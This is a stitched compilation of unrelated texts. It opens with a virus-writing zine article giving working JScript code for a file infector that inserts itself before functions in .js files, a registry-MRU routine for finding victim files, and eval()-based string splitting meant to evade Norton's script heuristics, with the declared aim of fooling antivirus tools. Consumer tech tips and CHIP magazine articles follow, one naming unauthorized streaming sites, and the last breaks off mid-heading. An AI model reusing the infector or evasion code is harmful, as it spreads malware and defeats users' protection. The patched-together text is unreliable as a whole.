Useful things in JavaScript

************************************************************* ************************************************************* ************ *********** ************ Useful things in JavaScript *********** ************ by Second Part To Hell/[rRlf] *********** ************ *********** ************************************************************* ************************************************************* .intro words After writing articles about Encryption and Polymorphism in JavaScript I also discovered some other things in JavaScript. But that techniques are to short to write more articles about it, so I desided to write one containing all the things I found out while discovering that language. So, here we are... .index 1) EPO or middle infection in JavaScript 2) Searching for victims in the registry (Not for Win95|98|ME) 3) Encrypting commands .EPO or middle infection in JavaScript Entry-Point Obscuring is a neverseen technique in JavaScript, also it will be hard to detect the virus inside the file and it will be even harder to desinfect a file infected by an EPO JavaScript virus. But I think, that I have to explain the technique for everybody. I wanna show you a normal file and a file infect by an EPO virus: Not infected sample: Infected sample: _______________ _______________ | | | | | commands | | Call to virus | | | | | | commands | | commands | | | | | | commands | | commands | | | | | | commands | | Virus | |_______________| | | | commands | | | | commands | |_______________| OK, what to do? First we have to search any .JS file. Than we want to write the virus code to any line of the program. Sounds easy, but you forgot something: You can't write your code to any place of the file, because the real program would be killed. So, where to include the virus-code? A possible answere: Include your code before any 'function' in the code. If you do so, the orginal host-file won't be destruct. Another fact you have to think of is, thatyou have to search your virus-code in the file, and not to copy the whole file (=viruscode+host code) to the new victim. OK, now let's have a look at the example file. - - - - - - - [EPO-example] - - - - - - - virus() function virus() { var fso=WScript.CreateObject("Scripting.FileSystemObject") var myfile=fso.OpenTextFile(WScript.ScriptFullName) var mycode=""; var line=String.fromCharCode(13)+String.fromCharCode(10) for (i=0; i<500; i++) { code=myfile.ReadLine() if (code=="function virus()") { for (j=1; j<31; j++) { mycode+=code+line; code=myfile.ReadLine() } i=666; } } var vicall=fso.OpenTextFile("victim.js").ReadAll() var victim=fso.OpenTextFile("victim.js") var vcode=""; var viccodes=""; vsearch="FUNCTION"; for (i=0; i> virus() Guess what? That's t call to the virus-function. Without it, the file will be infect, but the virus will never run. Because of that I thought, it's better to include that line :D >> function virus() >> { That's our function. Here starts the virus-code. >> var fso=WScript.CreateObject("Scripting.FileSystemObject") >> var myfile=fso.OpenTextFile(WScript.ScriptFullName) 'fso' is the FileSystemObject. Without that we won't be able to read or write anything to a file. That means, it's a very important opject. And myfile is the variable, which we opend our own file. >> var mycode=""; var line=String.fromCharCode(13)+String.fromCharCode(10) We set some variables: 'mycode' will contain the viruscode at the end of the virus-run, and line contains chr(13)+chr(10). What's that, you may think? That's the same as the 'enter'-key ;) >> for (i=0; i<500; i++) >> { Next things will run 500 times (not really, because the 'for' will stopp after the finish of reading from the victim-file. >> code=myfile.ReadLine() Does what it sounds like: now code is one line of our own file. We need it, because we want to find our virus-code. (maybe now in the first generation, but for sure in the next ones) >> if (code=="function virus()") >> { If we found the first line of our code, let's do the next commands. >> for (j=1; j<31; j++) { mycode+=code+line; code=myfile.ReadLine() } The virus-code has 31 lines, because of that we have to read the 31st lines we find after the start. Than we have the viruscode. >> i=666; >> } >> } This is a very ugly way to stopp a 'for', but my favorit one :). After that the 'for' ends and than the 'if'. >> var vicall=fso.OpenTextFile("victim.js").ReadAll() vicall=the whole code of the victim, that we want to infect. We need that because we want to know the size of the victim. >> var victim=fso.OpenTextFile("victim.js") Now we open our victim again to read every letter for it's own., because we want wo find a function. >> var vcode=""; var viccodes=""; vsearch="FUNCTION"; That's three variables we need in our code. vcode be compain one byte every run of the next 'for', viccode will contain the whole code of the victim before the function starts, and vsearch contains the searchstring, that we need to compair with the string we found in our victim. >> for (i=0; i> { Next things will run as often as our victim is long. >> vcode=victim.Read(1); We read one byte of the victimcode. >> if (vcode.toUpperCase()=="F") >> { If the uppercase of the letter we read is "F", we do the next things (maybe we found a function?! yahuu :D ) >> for (j=1; j<8; j++) { vcode+=victim.Read(1); if (vcode.toUpperCase() !=vsearch.substring(0,j+1)) { j=666 }; i++; } We read 8 more letters (F=1, U=2, N=3, ...). If that string we found is not the string we're searching for, we stopp to read more letters this time ('j=666'=close the for in my favorit way. Than we add 1 to i, otherwise there would be a 'Read After EOF'-Error. >> } Close our important 'if'. >> if (vcode.toUpperCase()==vsearch) { i=vicall.lenght+666 } now let's compair, if the whole string we read ('F'+7 other letters) is the thing we're searching for ('FUNCTION'). If yes, we stop to search functions, because we already found one... ;) >> if (vcode.toUpperCase()!=vsearch) { viccodes+=vcode } If the things aren't the same, we copy the 8 letters to our start of the victim-code, because we'll need them in the end of the code. >> } End of the "searching after functions"-'for'. >> virinc=fso.OpenTextFile("victim.js", 2).Write("virus()"+line+viccodes+line+mycode+line+"function"+victim.ReadAll()) We open the victim again to write into it (look at the '2'). Than we write into it a call to our virus-function ('virus()'). Then we'll add a blank-line, than the victim-code before the function, than again a blank-line, than our virus code, than once more a blank-line, than the string "function" (because we didn't add it to any variable), than the rest of the victim-code. Here we have it... our infect file ;) >> victim.Close(); Let's close te victim-file. >> } And end of our virus function. - - - - - - - [end of EPO-example-explanation] - - - - - - - .Searching for victims in the registry (Not for Win95|98|ME) At least every JavaScript virus (not worm!) searchs for files in the current directory and sometimes also in Windows-, System- or Temp-directorys. But I'm sure, that no user will execute a file in the system or temp-directory. Because of that I thought, I have to find an other way to find victim, and suddenly the Registry came to my mind. OK, now let's search files from registry. Now we have to know the key, where we can find the files. And here is it: - - - - - - - - [registry-key for JavaScript files] - - - - - - - - - HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSaveMRU\\js\\MRUList - - - - - - - [end of registry-key for JavaScript files] - - - - - - - Now we have a list of some JavaScript-files. For instance that: - - - - - - - [registry-key list] - - - - - - - (standart) REG_SZ (no value) a REG_SZ C:\Windows\victim.js b REG_SZ C:\Files\JavaScripts\work.js c REG_SZ D:\Games\Race-Game\runme.js d REG_SZ C:\My Shared Docs\flowers.js MRUList REG_SZ dcab - - - - - [end of registry-key list] - - - - - - Our list contains four files, but it's also possible, that there are ten samples. OK, but how do we know, how many files there are? We want to infect every of this files, but if we try to read a key, that doesn't exist, there will be an error. So what to do? Let's look at the 'MRUList'. It's value contains every key, which contains a file. What do do with it? We have to read the whole 'MRUList' value, than we read every key, which is in the 'MRUList'. Dadaaa... we have all files ;) Maybe you don't really understand, what I mean, because of that You will find an example. - - - - - - - [registry-key example] - - - - - - - - - - var fso=WScript.CreateObject("Scripting.FileSystemObject") var shell=WScript.CreateObject("WScript.Shell") MRU="HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSaveMRU\\js\\" MRUList=shell.RegRead(MRU+"MRUList") for (i=1; i<=MRUList.length; i++) { victim=shell.RegRead(MRU+MRUList.substring(i-1,i)) if (fso.FileExists(victim)) { WScript.Echo(victim) } } - - - - - - - [end of registry-key example] - - - - - - - That example makes a MessageBox for every file, which is in that key, and that exists at the computer (because it's able, that there is a file-name in the registry and it doesn't exist at the computer anymore), because we don't want to have a "File not found" error. Now you'll find an exact explanation of the example. - - - - - - - [explanation of registry-key example] - - - - - - - - - - >> var fso=WScript.CreateObject("Scripting.FileSystemObject") >> var shell=WScript.CreateObject("WScript.Shell") This are two variables, which are used for reading from the registry (shell) and for checking if the file exists (fso). >> MRU="HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSaveMRU\\js\\" The variable with the key for the registry. I wrote it to a variable, otherwise the program will be bigger, because I've to use this key two times. >> MRUList=shell.RegRead(MRU+"MRUList") This variable is the content of the 'MRUList'. In our example it was 'dcba'. I'll use it to check, how many entries are in the key. >> for (i=1; i<=MRUList.length; i++) >> { The next things will run as often, as long MRUList is (in our example 4 Bytes= 4 times). I used this, because we know, as many letters are in MRUList, as many entrys are in the key. >> victim=shell.RegRead(MRU+MRUList.substring(i-1,i)) Variable 'victim' is one letter of the content from MRUList. For instands first run i=1: i-1,i: 1-1,1: 0,1: we read everything from letter zero to letter one (= the first letter in the content). :) >> if (fso.FileExists(victim)) >> { Let's check, if the file already exist on the computer. If yes, we'll do the next things. If not, we won't do it. If the file exists, 'fso.FileExists(victim)' will return the value 1. And that's 'TRUE'. Else it will return the value 0 (='FALSE'). I think, you got the point. >> WScript.Echo(victim) After finding key, which contains the filename, finding the the filename and checking if the file exists, we're making a messagebox to write the filename. If you use this technique for a virus, you have to include your file-infection code here. But I thought, that i don't have to include a virus-body. :) >> } >> } The last part in the example is the end of the 'if', which checked, if the file exists and the end of the 'for', which run as often as much files exists. - - - - - - - [end of explanation ofregistry-key example] - - - - - - - .Encrypting commands While writing an article about JavaScript string encryption, I had no idea how to encrypt the commands, also they are as important as the strings. After reading some things about JavaScript, the idea came to my mind. And it's a very nice one. The princip after the whole idea is the command 'eval()'. The command run strings. :) Let's have a look at the command. - - - - - - - ['eval()' example] - - - - - - - eval('WScript.Echo("Any silly message")') - - - - - - [end of 'eval()' example] - - - - - You got the point? The only thing we have to do is to encrypt the command in the same was as a string, and set it to the command. This could be very important, because for instands Norton AV's Script-Checker Heuristic will detect a virus, which creates a simple file. Now let's look at a encrypt example. The example only generats a new file named 'eval.txt'. As you will see, this is only a little encrypt, but Norton Script Checker don't detect anything :) - - - - - - ['eval()' encryption example] - - - - - - - var ene="e" var eni="i" eval('WScr'+eni+'pt.Cr'+ene+'at'+ene+'Object("Scripting.FileSystemObject").Cr'+ene+'at'+ene+'T'+ene+'xtF'+eni+'l'+ene+'("eval.txt")') - - - - - [end of 'eval()' encryption example] - - - - - .last words I think, that these techniques are very useful, if you want to make a JavaScript virus. And I'm sure, that AV's will have problems to desinfect a virus useing my EPO technique, of detect a virus, wich is 100% encrypt with the 'eval()' technique. And I'm sure, that spreading the virus ALSO (not only) with that registry technique will be much more successfull than don't use it. My goal is to fool AVs with techniques, which are hard to detect or desinfect. And I think, this time I was successful in doing that. :)

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Flashget Broadband Tweak Just double-click on the FlashGetRegTweak.reg file to enter the tweak into the registry. This tweak will allow up to 100 simultaneous file downloads, each split into a max of 30 parts. Previous defaults were 8 & 10 respectively. Note: 1. Works for dialup but not really advantageous. 2. Restart your computer to feel the full advantage of this tweak. Download: here it is just copy to notepad rename to Iwillsinglehandedlykillallthebandwidthfromtheserversidownloadfrom.reg REGEDIT4 [HKEY_CURRENT_USER\Software\JetCar\JetCar\General] "Max Parallel Num"="100" "MaxSimJobs"="100"

get music you want to hear

Found out a really cool way to get cool music without p2p progs or HTTP/FTP sites.Best thing of all:NO QUEUES,NO PASSWORDS... Here it is: 1.Get Yahoo Messenger [BETA] here: CODE http://download.yahoo.com/dl/installs/msgr6suite.exe 2.Wait for it to download,then run it and let it download another 5 MB or so. 3.Get FairStar MP3 Recorder here: CODE http://www.shareordie.com/forum/index.php?showtopic=9754 After testing Total Recorder and another prog,the FairStar product is the best RECORDING MP3s from a source,in our case the INTERNET RADIO. 4.Fire up LAUNCHcastRadion in Yahoo Messenger [BETA] and choose a station or a genre. 5.Start up FairStart MP3 Recorder,go to Record Options and CHECK autosetting,go to Encoder-MP3 and UN-CHECK enable VBR and choose 128 or 192 KBs.Also make sure you choose your OUTPUT folder and you're done. 6.Hit record or whatever and awaaaaaay you go. More soon...

Free World Dialup

Free World Dialup Free World Dialup - http://www.freeworlddialup.com/ "Use FWD to make real, free phone calls using your favorite telephone, computer or PDA and any broadband connection. Call your neighbor or a relative, next door or in another country; all with the same ease, speed, and high quality." Thanks to Jeff Pulver and his crew! Quick summary: 1 - First, got to http://www.freeworlddialup.com and sign up to get your FWD # and password. 2 - Download http://brands.xten.net/x-litefwd/download/X-LiteFWD_Install.exe FWD/X-Lite ("self-configures") program or go to http://www.myphonebooth.com/ to call any FWD # and U.S. toll free #s using Internet Explorer (Firefox not supported). Quickstart Guide: http://www.freeworlddialup.com/support/quick_start_guide FWD Xlite Configuration Guide: http://www.freeworlddialup.com/support/configuration_guide/configure_your_fwd_certified_phone/fwd_xlite/all MS Windows Messenger Configuration Guide: http://pulver.com/fwd/fwd30news.html#messenger (FWD supports Windows Messenger 4.6/4.7 but not MSN Messenger 5.x.) 3 - To call a U.S. landline/cell #, dial *+arecode+7digit#. (This FWD feature is not listed on their website, but has been working for several months now.) 4 - To call a FWD # from a PSTN (your regular phone), click http://www.dslreports.com/r0/download/476274~3ccc4c9edbe2a596714a4fd9da897204/fwdaccessnumbers.zip or after you've signed up go to FWD web page, click on "Features", "Access #s" for a list of FWD access numbers in your area. Available in several states in the U.S., UK, NL and DE at this time. Packet8: -- To call a P8 phone # from a FWD phone: Dial **898 + 1 + P8 number to be routed to P8 service. -- To call a FWD # from a P8 phone: *If the FWD # you are calling contains 5 digits, start to dial with the prefix 0351. For example: 035112345 *If the FWD # you are calling contains 6 digits, start to dial with the prefix 0451. Call UK: Get a UK telephone # that will call you on your FWD #. Register http://fwd.calluk.com. FWD Features: Some features like Voice email needs to be activated at http://www.fwdnet.net Internet Calling Call Waiting CallerID Missed Call notification Call Forwarding Call Transfer Three Way Calling Voice email SoftPhone, IP Phones & *Web-based Aliases Whitepages directory ENUM Entry eDial SOAP Conferencing Instant Messaging Web Calling/FWD-Talk Corporate Cisco Call Manager Connection Calling to Toll Free Numbers in the UK, US, NL, JP and FR TellMe Service (411). -- NL Dial *31(800)... to reach Netherlands toll free #s. -- UK Dial *44(800)... or *44(808)... or *44 (500) to reach UK toll free #s. -- US Dial *1(8xx) xxx xxxx to reach United States toll free #s. -- JP Dial *81 0120... to reach Japan toll free #s. Frequently used numbers 613 Echo test 55555 Volunteer Welcome Line 514 FWD Coffee House 612 Time 411 TellMe Information 611 Part Time Technical support 511 FWD Conference Bridge At the moment, I think this is way better than Skype, Yahoo IM voice chat, etc...I've been using FWD for over a year with my cable broadband service and didn't have to set up any port forwarding on my broadband router. Obviously you'ld need a mic/speakers connected to your PC. You can also use your regular telephone via an adapter http://voipstore.pulver.com/product_info.php?products_id=32 and IP phone http://voipstore.pulver.com/product_info.php?products_id=33. Adapters and IP phones from different vendors like Cisco are available. * Broadbandreports.com VoIP forum (formerly known as DSLReports.com) -- If you have any questions or just curious about VoIP, visit the VoIP forum http://www.dslreports.com/forum/voip at DSLReports.com.

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How To Make Your Own Radio Station

How To Make Your Own Radio Station Must HAVE Winamp (Any Version) First, things First your speed has to be at least 256/64 kbps (which means Dial-up users, will have alot of latency, just dnt bother) Second, your going to have to have a domain, an updated one with the current i.p active. (Could be anything e.g. My sig) Now, Your gonna have to download the Shoutcast Files. Go to www.shoutcast.com to get the files. Ok After downloading these, installing Both of them in any order i dnt care. Go to START>PROGRAM FILES>SHOUTcast DNAS>EDIT SHOUTCAST DNS CONFIG. Ok your gonna have to Configure it: Go Down and where it says password: change (that means your gonna have to change it to whatever, make sure u remember) The Portbase: change it to whatever port you want it Maxusers: (lets be realistic here, dnt put in 10000, like NXS's radio station) your bandwidth has to be extremely good, if your cable, 50 user max is ok, ADSL should stay below 10 users, and T1 connections should do whatever tickles there fantasy. Open winamp, RIGHT CLICK>OPTIONS>PREFRENCES>DSP EFFECT> and choose the NULLSOFT SHOUTCAST. Go to OUTPUT, and then click on Connection, Through the ADDRESS, type your address which you have done through www.no-ip.com, PORT NUMBER, whatever u did in the EDIT.txt, and your password. Then go to Encoder, and choose your quality of your music. Go back to OUTPU>OUTPUT CONFIG> YELLOW PAGES. this is your advertisemant information. dow hatever you like there. Now Connect. to check that your Radio os on-line go to http://(your address that you added in the prefrence)

How to speed Up HTTP Requests On Internet Explorer

How to speed Up HTTP Requests On Internet Explorer To comply with current Internet standards, Internet Explorer limits the number of simultaneous downloads to two downloads, plus one queued download. This configuration is a function of the browser. However, as connection speeds increase, and the number of total connections that are allowed to Internet servers increase, the two-connection limit may be restrictive. Please Note: Changing the maximum number of connections beyond two is a violation of Internet standards; use at your own risk! To increase the number of simultaneous connections that are allowed, follow these steps: 1. Start the Registry Editor 2. Go to HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Internet Settings 3. Select New > DWORD Value from the Edit menu 4. Name the new value MaxConnectionsPer1_0Server 5. Right-click the MaxConnectionsPer1_0Server value and choose Modify 6. Under Base, click the radio button next to Decimal 7. In the Value Data: box enter the number of simultaneous connections you want to set (for example 10 is a good value), and 8. click OK 9. Repeat steps 3 - 7 using the new value MaxConnectionsPerServer 10. Exit the registry editor Visit http://blogs.msdn.com/nickmac/archive/2004/08/25/220001.aspx

View TV shows on the Net

The idiot box is on its way out and the information box is taking its place. TV tuner cards have been in the market for more than a decade, and have been the first in a line of products that aim to convert the home PC into the home entertainment system. Lately, manufacturers have released media extenders to play and record TV via an external box, connected to the central computer over a home network. Of course, downloading TV shows, movies and various video files has always been in vogue, and we don’t anticipate it going out of style any time soon. But, there is a new player in the field of watching TV on your computer, and that is video streaming.

The main advantage that streaming video has over downloading video, is the time factor. When a user downloads a video file, he inevitably has to wait until a certain portion of the file has been downloaded before he can preview and check the quality of the file. With streaming online videos on the other hand, he knows instantly how good it is, and if it is in the language he understands. Additionally, downloading a typical movie will occupy at least 700 MB on his hard disk, whereas the memory occupied by streaming videos is cleared once he leaves that Web page.

According to Dan Morrell of Slate (www.slate.com/id/2178343), in the early stages YouTube and Google Video were chock-full of movies and episodes, which were later removed after some legal action was initiated by Hollywood studios against them. How is the Indian viewer affected by this? Not too much, since YouTube (in.youtube.com) still has users who upload episodes of popular Hindi TV shows, for instance, ‘Kyunki Saas Bhi Kabhi Bahu Thi’, a few hours after it airs on Star Plus.

It is interesting to note that the industry has tackled TV show piracy using this method differently than they did for downloading. American audiences have Hulu (www.hulu.com), a website that was started by NBC and News Corp. It has a catalog of every TV show and movie produced under their banner which they can watch. The obvious upside to this is that it’s perfectly legal and the viewer doesn’t have to worry about breaking any laws, and the quality is superb. Note, only those users with an IP address originating in the United States can watch videos on Hulu.

So, does any Indian channel offer this kind of service? Well, sort of. If you browse to the home page of a channel, there are uploaded video clips of recent episodes of popular shows, mainly reality TV, but not whole episodes. Network18’s latest venture In.com (www.in.com) does offer Live TV for the news channels CNBC, CNN-IBN and IBN, and full episodes of ‘Bigg Boss2’ (biggboss2.in.com), but these are far and few between (CHIP is a member of the Network18 family).

The other options available to viewers of ‘desi’ TV lie on the other side of the fence. The most popular of these is powered by ApniCommunity (www.muft.tv), the reason for its popularity being that they are prompt, decent quality, and most importantly a free service. Some other services that provide Indian TV content are iDesiTV (www.idesitv.com) and YuppTV (www.yupptv.com), which both come at an affordable price. These two services lie in a murky grey area, with users not quite sure about the legality. Of course, those who don’t care about the law can frequent websites that provide unauthorized online streaming content, for instance, 66Stage (http://66stage.com) which has an awesome compilation of links for movies, TV shows, documentaries and cartoons. Most of the content on this website is linked from respectable online video services such as Veoh (www.veoh.com), and Google Video (video.google.com).

So, now you know where to go and watch TV streamed from the Web on your PC. Now, how about recording it? With the programs provided on this month’s CHIP DVD, you can convert your PC wholly into a DVR (Digital Video Recorder) with timer controls for starting and stopping recordings. The best part about all this is that you don’t need to shell out for a TV tuner card. Also included are some rad tools for editing and archiving your video files in a library.

Tapping portals

The Internet is swarming with awesome videos and exciting video clips. Most of them are available on YouTube; however there are a plethora of websites, portals and tools which offer entertainment for an entire evening. We show how to access the best broadcasting channels and how to download your favorite TV shows to your computer.

Downloading Clips: YouTube is the biggest video portal, but it is not the best. Some quick and useful functions, for instance, a direct download link, are missing. But you can correct these oversights by switching to the Web browser Firefox and loading it with the Greasemonky plug-in. Greasemonkey is a powerful tool with which you can integrate more tools and optimize websites to suit your own needs. This is installed like any other add-on. Browse to the official Firefox add-ons Web page (addons.mozilla.org), input ‘Greasemonkey in the search field, and download and install the XPI file. Alternatively, you may open the ‘Add-ons’ window from ‘Tools | Add-ons’ and enter the phrase in the ‘Get Add-ons’ tab. Next, browse to the website www.userscripts.org to get scripts to incorporate into Greasemonkey. Pick and choose the snippets you need, we shall focus on those that aid in online video streaming. First up are the YouTube extensions, the most popular of which is ‘YouTube Blackout’. Just press the ‘Install this script’ button on the Web page, to enhance your YouTube watching experience, as this script blacks out the rest of the YouTube Web page when you are watching a video. So next time, instead of viewing clips on the website, click on the ‘Blackout’ link that appears with each video after the installation of the plug-in. The video opens in a pop-up window with a semi-transparent background, called ‘Lightbox’. Elements like ‘Related Videos’ appear darkened and do not distract the viewer anymore.

Another handy script is ‘YouTube Enhancer’. It adds a link below every video, from which you can directly download the clip to your computer in the form of a Flash video. It has its drawbacks though—you have to redefine the video and add the FLV extension, otherwise Windows does not correctly identify the video and fails to play it. Using this handy script, you can successfully downloaded the clips onto your PC.

Recording TV: Now that you have streaming television content playing on the computer, it is time to set up your video recorder to tape those shows you don’t want to miss. While it is impossible to connect your VCR to the PC without a card in between, here is a way to record TV shows.

CamStudio, a screen capturing tool, is great in this scenario, since it comes with a tool to record the monitor into a Flash (SWF) or AVI file. The XP codec packet should be installed for good results during the recording. Although CamStudio comes with its own codec, you will get much better results with the ffdshow video codec installed on your PC.

After the installation of the ffdshow codec, you need to set CamStudio to use it. In the main application window, go to ‘Options | Video Options | Compressor’. Set the quality of the compressor on ‘100’. Advanced users can further tweak the recording settings in ‘Configure’.

Now open up the Web page, for instance, ‘Bigg Boss2’ in your Web browser, select an episode and hit the play button to start the buffering process. Switch to the CamStudio application, and select ‘Region | Region’ and press ‘Record’—the cursor now appears as a cross-wire. Draw a rectangle around the video screen and the recording starts automatically. Do not forget—you should not scroll down the Web page since this will shift the video player and the recording will be faulty since CamStudio records only the predefined area. Once the transmission is done, save the AVI or SWF file to your computer.

Viewing Clips: CamStudio automatically starts its built-in player at the end of each recording session. However this player does not support all formats. In such a case, the quintessential media player comes to the user’s rescue. We are, talking about the VLC media player.

Timer recording

In order to record, say ‘CNBC’, when you are not at home, use our recommended video recorder applications. Once installed, you can save yourself the complicated programming codes to start and stop recordings of the broadcast shows without any difficulty. For this purpose you require following tools from this month’s CHIP DVD—Z-Cron which will act as the timer control unit, the small tool Sendkey and CamStudio. You will also need to create a Batch file (BAT) to program CamStudio for recording purposes. We have step by step instructions on how to go about all this. We shall also demonstrate how to set up and configure separate programs.

Recorder Setup: The Sendkey tool is required so that the Batch file, which we attach later, also functions. The installation is supposedly easy: Copy the _sendkey.exe_ file from this issue’s CHIP DVD to the ‘C:WindowsSystem32’ folder.

Now, to move on to the next step, this involves starting the CamStudio program with a Batch file and automatically activating the recording function.

Open up Notepad from ‘Start | Run | notepad.exe’ and create a file called ‘AutoStart.bat’ and insert the following:

start Recorder.exe

Sendkey *5000

Sendkey 8

The file, when run, opens CamStudio (Recorder.exe) and simulates it 5 seconds later by pressing the ‘8’ key. We will configure CamStudio such that the recording starts with it. Copy the Batch file to CamStudio’s program installation folder, probably ‘C:Program FilesCamStudio’. Create a new Batch file ‘AutoStop.bat’ and append the following code to the file in order to stop the recording if the film is over:

Sendkey 9

The Z-Cron tool is the timer control device for your video recorder. Click on ‘Task’, and ‘Label’ it as ‘CNBC’ for instance. Check the ‘Activate task’ option and load the ‘AutoStart.bat’ batch file by entering the folder path in the Batchfile field, for instance, ‘C:Program FilesCamStudioAutoStart.bat’.

Note: Check the option ‘Display hidden files and folders’ in the Folder Option window in Windows Explorer, otherwise the BAT files will not be visible.

Now switch to the ‘Scheduler’ tab and specify the start time by pressing the ‘Scheduler’ button. Start the recording for the 20:15 show ahead by five minutes, say, 20:10. Under ‘Settings for period: Weekday’ select Sunday and press ‘Save’.

To configure CamStudio to stop the recording, if the show is over, create a new job and name it ‘Stop recording ‘. As described above, load the ‘AutoStop.bat’ batch file in Z-Cron, and to be on the safe side, set the end time an extra five minutes after the scheduled end time, so that you don’t miss any vital part of the show. Save the file again and perform a test run to confirm whether the task functions properly. To do this, right click on the task label ‘CNBC’ and select ‘Start’ from the context menu—this should open up CamStudio.

Now, open up the CNBC Web page on the In.com website. Define the area of the video player as the default recording area that CamStudio records. Be careful not to displace the Web browser since the recording area is predefined.

Finally, we'll make some minor setting changes to the CamStudio screen capturing tool. Go to ‘Options | Keyboard Shortcuts ‘and set the character ‘8’ as the ‘Record/Pause Key’ and ‘9’ as ‘Stop Key’. The best option would be to allocate the remaining shortcuts with [F1] to [F4] function keys. Now, define the area, which should be recorded by CamStudio, by going to ‘Region | Fixed Region’. Activate the ‘Fixed Top-Left Corner’ option and specify the screen area with ‘Select’ and the measuring tool that opens later. Check the option ‘Drag Corners to Pan’ and save your settings and exit the Region window by pressing ‘OK’.

Testing Recorder: To make sure that everything is functioning, close the CamStudio program, open up the video on your Web browser and start the task ‘CNBC’ in Z-Cron by right clicking and select ‘Start’. Now, the recording should start shortly. Stop the recording with ‘AutoStop.bat’ and save the recorded video file on the desktop.

Editing videos

Advertisements are annoying and even those few minutes when the recording started too early are unnecessary.

With the freeware application VirtualDub, you can simply cut out all the excess material that isn’t needed in the recorded file. This saves memory space and also a lot of bother. Drag and drop the video in to the VirtualDub window. Using ‘Edit | Set selection start’ define the starting point and the end point of the commercial break or the lead time with ‘Set selection end’. Then, press the [Delete] key so that the extracted portion ends up in the Recycle Bin. Now repeat the procedure to relieve the video of all unnecessary frames.

To tweak the video, go to ‘Video | Filters | Add’, for instance to increase or decrease the brightness and the contrast of the video, or to resharpen the frames or superimpose a custom logo.

In case you have not used any filters, activate ‘Video | Direct Stream Copy’, to export the film. In this way you spare yourself complex conversion. However if you have already edited the picture quality, ‘Video | Full processing mode’ must be set. At last export the file with ‘File | Save as AVI’. The film appears better than an AVI file on your computer and you can watch it again, anytime you want.

TIP: Find more useful filters on the website www.neuron2.net, which can be integrated into VirtualDub from ‘Video | Filters | Add | Load’. The changes in the clip are apparent after clicking ‘OK’ in the right preview video of the desktop. Then decide whether to apply them or not.

Archiving content

In this last section we show how you can at a later stage structurally archive the saved videos. Now that you have a bunch of videos, using the procedures outlined in this article, you will need to catalog them. The MyMDb (www.mymdb.de) archive tool helps you to avoid duplication and to always have your collection ready at hand. Simply enter the title, and the program starts searching in the online Film databank under www.imdb.com for information like cast, crew, studio and trivia information.

Home Network

Home Network Nirvana

To experience true media and Internet sharing joy, set up a system to stream movies and music through every room in your home network. It can be done even with your existing router.

Surf the Internet while in bed, retrieve music from your desktop PC to play in your living room, or download add-ons for your games straight to the console. You can even quickly send a letter to the printer while sitting at the breakfast table if you want. This can be done with a modern home network. And since almost all devices sold today—right from TVs and game consoles to answering machines and external hard disks—are all equipped with networking functions, it is much easier than you might think. CHIP shows you how to set all this up conveniently.

High speed Wi-Fi

The center of your home network is a normal router. You can use older models no doubt, but a modern device with the 802.11n standard is a better option for fast Internet sharing and HD video. You can identify compatible devices with the “n” icon on the packaging. Older and cheaper routers on the other hand are usually equipped to handle only the slower 802.11g standard. Its theoretical transfer rate is 54 Mbit/s , which shrinks to even 15 Mbit/s in practice due to interference such as thick walls or Bluetooth devices.

CHIP recommends a router which can function in dual modes, i.e. it can transfer data at the 300 Mbit/s theoretical rate of Wi-Fi n as well as the older Wi-fi g mode which the majority of devices today will be using. The reason is some n-standard routers will fall back to the slower speed for all devices if they cannot support dual modes simultaneously. Once you have a router which meets your requirements, you can consider upgrading your laptop with an inexpensive USB Wi-Fi n adapter to take full advantage of it. If your laptop is relatively new, chances are it supports the n standard already.

Even the location of the router is very important. The connection functions at its best if it is mounted on a wall, as high as possible. Besides, the router should not be placed directly behind a computer or any other device which emits strong radiation or shields radio waves through a metal casing.

In case of 2.4 GHz Wi-Fi g networks, Bluetooth devices and microwave ovens have been known to interfere. You need not worry about which direction to point the antennas in, since current devices use internal antennae and adjust these automatically.

Once the router is placed, you can move on to the configuration. The steps here outline the setup process for a Linksys router, but it will be extremely similar for others. Open the configuration page of the router in your PC’s Web browser, it is 192.168.1.1 by default. Enter “admin” as the username and password. Next, set up your Internet connection as per its settings, either PPPoE or Static.

Now you can move on to the wireless security settings. Most routers can automatically set up secure connections with other devices from the same brand. We’ll use manual settings to make the process more transparent. To set the name (the SSID) of the network yourself, go to the ‘Wireless Devices’ tab and click ‘Manual’. Under ‘Network name’, assign two new names for your wireless connections—one for the 5 GHz and one for the 2.4 GHz band each. Save the configuration using ‘Save Settings’.

In order to ensure that an unknown person cannot creep into your network, you need to secure it. The best option is the current WPA2 technology with AES encryption. Click ‘Wireless Security’ and select ‘WPA2 Personal’ as the Security Mode. Click ‘AES’ under ‘Encryption’, and enter a password next to ‘Passphrase’, ideally around 20 characters: a mixture of digits and alphabets. Save the configuration using ‘Save Settings’.

We still need to change the router’s own password from the default ‘admin’– this protects the settings from a stranger’s eyes. Click on the “Management’ tab in the ‘Administration’ menu and enter a new password under the option ‘Router Password’. Save again through ‘Save Settings’.

NAS replaces big servers

Until now, the PC’s own hard drive has been used to store all your photos, videos and MP3s. Now, a NAS system (Network Attached Storage) takes up this work so that you can access files from any device on the network even when the PC is off. You can find relatively cheap and high-capacity NAS devices in the market, or you can get empty network-attached drive enclosures and add your own drive(s). If you are doing this, choose a “green” hard drive, since the task is not very demanding and it will save power in the long run. Some devices come with additional software for backups and configuration. Now you can serve up media and even create individual shares for music, videos and photos. iTunes Server and DLNA (Digital Living Network Alliance) are two ways you can tell devices to search for media on a shared storage device, so make sure your NAS supports these features. If not, you can always create a shortcut to it using Windows Explorer, or map the network store as a separate drive so it is always visible in Explorer. More advanced drives allow you to determine when they should spin down to reduce power consumption, and let you define a “sleep mode” for the night.

The TV isn’t static

If you are lucky enough to own one of the latest flat-screen high-definition TVs, you might find an Ethernet port (or in rare cases integrated Wi-Fi). Some others have USB ports which let you add a Wi-Fi adapter too. You will need to use the remote to navigate through the settings menus and configure the set to recognize your LAN. You will have to configure the IP address (or set it to automatic) and enter your Wi-Fi password, if applicable. Once set up, the TV remote will let you surf through the available network resources, including your NAS. Select the file you want, and just press play.

For those with less high-tech TVs, companies like Netgear make network-connected adapters which use regular video and audio inputs, but act like a bridge to your network. You could also get a combination device, which has an integrated hard disk as well as network access, to store your files and hook up directly to the TV.

VoIP for long distance call

